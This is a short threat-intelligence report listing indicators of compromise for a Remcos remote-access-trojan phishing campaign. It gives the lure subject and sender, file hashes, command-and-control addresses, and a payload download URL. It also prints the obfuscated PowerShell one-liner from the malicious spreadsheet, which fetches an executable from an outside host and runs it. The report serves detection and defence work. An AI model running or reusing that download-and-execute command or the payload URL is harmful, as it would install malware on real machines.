2021-10-19 Remcos IOCs

THREAT IDENTIFICATION:  REMCOS 

SUBJECTS OBSERVED
Attn: Accounts Receivable Dept - PAYMENT REMITTANCE DETAIL

SENDERS OBSERVED
accounts-receivable@ltpr.co.kr

MALDOC FILE HASHES
PAYMENT REMITTANCE DETAIL.xls
f6718f8307101ff6b28d5c4f04ea0d62

travelespecially.cmd
5ea928ce876726d313001f5cbd14bc65

POWERSHELL FROM MALDOC
C:\Users\analyst\Documents>powershell -w hi sleep -Se 31;Start-BitsTransfer -Sou
rce htt`p://greenpayindia.com/wp-conternt/ConsoleApp18.e`xe -Destination C:\User
s\Public\Documents\brotherneed.e`xe;C:\Users\Public\Documents\brotherneed.e`xe

PAYLOAD DOWNLOAD URL
http://greenpayindia.com/wp-conternt/ConsoleApp18.exe

REMCOS PAYLOAD FILE HASH
brotherneed.exe
aade455507f667318c83c42a95b3fc3c

Renamed to 
notepad.exe
aade455507f667318c83c42a95b3fc3c

REMCOS C2
lplazadtemins.duckdns.org:443
194.147.140.45